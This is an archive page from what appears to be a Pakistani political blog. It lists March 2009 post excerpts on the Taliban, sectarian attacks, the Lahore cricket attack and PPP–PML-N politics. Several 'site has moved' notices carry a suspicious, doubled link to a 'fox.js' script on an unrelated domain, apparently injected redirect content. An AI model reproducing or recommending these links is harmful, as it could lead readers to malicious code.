Monthly Archive:: March 2009
Ansar Abbasi: Nawaz Sharif must refrain from political reconciliation with the PPP.: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26784, click this link if you are not redirected
Ansar Abbasi: Nawaz Sharif must refrain from political reconciliation with the PPP.: Ansar Abbasi advises Nawaz Sharif to refrain from reconciliation. He suggests that politics of reconciliation can be devastating for the country. Really? Good bye,
William Dalrymple on Rahman Baba tomb’s attack: Wahhabi radicals are determined to destroy a gentler, kinder Islam: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Taliban attack the tomb of Rahman Baba in Peshawar: William Dalrymple on the attack: Wahhabi radicals are determined to destroy a gentler, kinder Islam: General Zia’s Wahhabi legacy in Pakistan: In identifying General Zia-ul-Haq’s great dis-service to Islam and Pakistan, Green Sufi writes: “It is hard to say the General’s rule was a bed of roses for Islam. Some steps he took could
Pakistan’s left towards rights. Partners in crime?: Are Pakistan’s secular ideologues abetting the right wing in adding lies and confusion to Jinnah’s Pakistan?: aik taraf sachal aur bahoo, aik taraf mullah aur maslak aik taraf thay heer aur ranjha, aik taraf qazi aur choochak saari duniya
Pakistan’s left tilts towards right: Partners in crime? Deconstructing Tariq Ali and Atitzaz Ahsan: Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather You too Aitzaz Ahsan, the leader of the legal community? PPP suspends Ch Aitzaz as member CEC Are Pakistan’s secular ideologues abetting the right
Ahmed Rashid: A dangerous void in Pakistan. The Taliban are unlikely to stop with Swat.: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
A dangerous void in Pakistan. The Taliban are unlikely to stop with Swat. – by Ahmed Rashid: A dangerous void in Pakistan —Ahmed Rashid The crisis in Pakistan leaves the US with few policy options. Large injections of cash are desperately needed to give the government the time to re-establish the writ of the state and
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Aakar Patel: Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism in our society. Indo-Persian sufi heritage versus Taliban’s sharia.: Mr Zardari, tear down this wallSunday, March 08, 2009Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease to be
Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism – by Aakar Patel: Mr Zardari, tear down this wall Sunday, March 08, 2009 Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease
Eid Milad-un-Nabi Mubarak. Mawlid celebrations…: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Eid Milad-un-Nabi Mubarak: Mawlid celebrations: Eid Milad-un-Nabi / Mawlid Mubarak Mawlid (Eid Milad an Nabi) (also knonwn as Mawlid or Mevlid) is a term
Zikr-e-Shahab: Remembering Qudrat Ullah Shahab: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26595, click this link if you are not redirected
Attack on Rehman Baba is attack on Pashtun identity: Bombing shrine Saturday, 07 Mar, 2009 (Dawn) Pakistani worshipers gather next to the mausoleum of Sufi poet Rehman Baba, after an explosion that damaged one corner of the shrine, in PeshawarAP Photo/Mohammad Sajjad THURSDAY’S bombing in Peshawar was not
Lahore terror attack and our misguided patriotism: Pakistani militants seen most likely behind attack Saturday, 07 Mar, 2009 (Dawn) A government official said groups such as the LeJ were highest on the list of suspects.—AFP ISLAMABAD: An investigation into the attack on Sri Lanka’s cricket team
Shireen Mazari: Jinnah, democracy, shariah and our lies…: Dr SHIREEN M MAZARI examines the difference in what we pratice and what we preach.
Khaled Ahmed: How blameless is the ISI?: Source: The Friday Times , Pakistan | Khaled Ahmed General (Retd) Javed Ashraf Qazi is counted among the rare competent heads of the ISI. His tenure, beginning 1993, was professional and non-idiosyncratic. He had to clear up the mess
Can Sufi Islam counter the Taleban?: Sufi Islam versus the Taliban’s Wahhabi/Salafi and Deobandi Islam …. Can Sufi Islam counter the Taleban? Some believe that Pakistan’s mystic, non-violent Islam can be used as a defence against extremism (Photos: Kamil Dayan Khan) By Barbara Plett BBC
Mohammaed Hanif: Ten myths about Pakistan: Living in Pakistan and reading about it in the Indian press can sometimes be quite a disorienting experience: one wonders what place on earth they’re talking about? I wouldn’t be surprised if an Indian reader going through Pakistani papers
Lahore terror attack: Lashkar-e-Jhangavi and allied sectarian/jihadi groups involved: From a state of denial to accepting ownership? Ayesha Ijaz Khan writes in The News (6 March 2009): While Pakistanis are not completely out of line if they have concerns about India’s hegemonic designs and regional threats to their
ICC Match Referee Chris Broad ‘angry’ over lack of security in Pakistan: ICC Match Referee Chris Broad has arrived back in England and speaking at a news conference in Manchester, he spoke of his shock, sadness and anger following the terrorist attacks that he was caught up in Lahore. He went
PML-N forward block in Punjab assembly: PML-N’s house of cards slowly but surely falling apart? PML-N forward block in Punjab assembly Updated : Thursday March 5 , 2009 4:22:55 PM LAHORE: The forward block of Muslim League Nawaz (PML-N) in Punjab assembly have emerged claiming
Farhat Taj: A survey of Drone Attacks in Pakistan. What do the people of FATA think?: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26239, click this link if you are not redirected
Washington Times report: Americans realise Baituallh Mehsud is real threat: Mehsud brought it on himself * Washington Times report says Americans realise TTP chief is real threat Daily Times Monitor LAHORE: The US military, which avoided hitting Baitullah Mehsud’s forces in 2007 and 2008 when the Taliban leader waged
The Guardian: ISI supports Sipah-e-Sahaba and other sectarian and extremist organizations in Pakistan: After the Lahore attack on cricket, west’s nuclear ally fears implosion Militant assault on cricket tourists puts sharp focus on fragile democracy at risk of disintegration and international isolation Saeed Shah in Lahore The Guardian, Thursday 5 March 2009
PPP’s massive rally in Karachi in support of President Asif Ali Zardari: PPP, MQM rally against PML-N By Irfan Ali KARACHI: The supporters of Pakistan People’s Party (PPP) flocked to MA Jinnah Road to participate in the PPP rally held on Wednesday in support of President Asif Ali Zardari, in the
Taliban attack the tomb of Rahman Baba in Peshawar…: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1073, click this link if you are not redirected
And now there is Tehrik-e-Taliban Balochistan: Takfiri Deobandis reach Balochistan – by Rahimullah Yusufzai: And now there is Tehrik-e-Taliban Balochistan! Wednesday, March 04, 2009By Rahimullah Yusufzai PESHAWAR: Pakistani Taliban have now surfaced in Balochistan by organising themselves under the banner of Tehrik-e-Taliban Balochistan. Engineer Asad, claiming to be its spokesman, said in a
Swat still in Taliban’s control – BBC report 4 March 2009: For the women of Swat By Zubeida MustafaWednesday, 04 Mar, 2009 THE theme of International Women’s Day on March 8 is “women and men united to end violence against women and girls”. It is quite ironic that at a
Denial mode, yet again: The Attack on Sri Lankan Cricket Team and Our Response: Denial mode, yet again —Ejaz Haider Predictably, some analysts have immediately put the blame on India. While at this stage no possibility can be ruled out, the fact remains that the responsibility for providing security to the Sri Lankan
Nawaz Sharif, the terrorist attack on the Sri Lankan cricket team, and the politics of confrontation: In the following op-ed, Asadullah Ghalib offers an analysis of Nawaz Sharif’s comments on the terrorist attack on the Sri Lankan cricket team, and the politics of confrontation. The op-ed also offers a page from history providing details of
Raza Rumi: Suicide democrats: Suicide democrats Wednesday, March 04, 2009 Raza Rumi I am appalled by the recent events that have yet again stirred instability and uncertainty into Pakistani politics. Those of us who voted in last year’s elections expected that the political
ISI and Our Corrupt Generals – An Analysis: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26782, click this link if you are not redirected
Hamid Gul, Uzma Gul, Varan Bus Service and the Transport Jihad: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Baituallh Mehsud: Profile of a terrorist: (Profile from Wikipedia and other sources) Baitullah Mahsud (born ca. 1974) is a leading tribal militia leader in Waziristan, Pakistan. He is primarily tribally oriented but also sympathetic to Al Qaeda and is the leader of the Pakistani Taliban
Mohammaed Hanif: “This is our Mumbai” – Imran Khan’s comments on the terrorist attacks on Sri Lankan cricket team…: In the following article, the brilliant novelist Mohammed Hanif writes on BBC Urdu dot com exposing our national, ‘Islamist’ hypocrisy which is today best reflected in the characters of Imran Khan, Qazi Hussain Ahmed and General Hamid Gul. Hanif
Quetta: 3 March – Five Shias killed in sectarian attack by the Taliban: Daily Star / AFPWednesday, March 4, 2009 Five Shias killed in Pakistan sectarian attack Afp, Quetta At least five Shia Muslims were shot dead yesterday in an apparent sectarian attack near Pakistan’s southwestern city of Quetta, police said. Two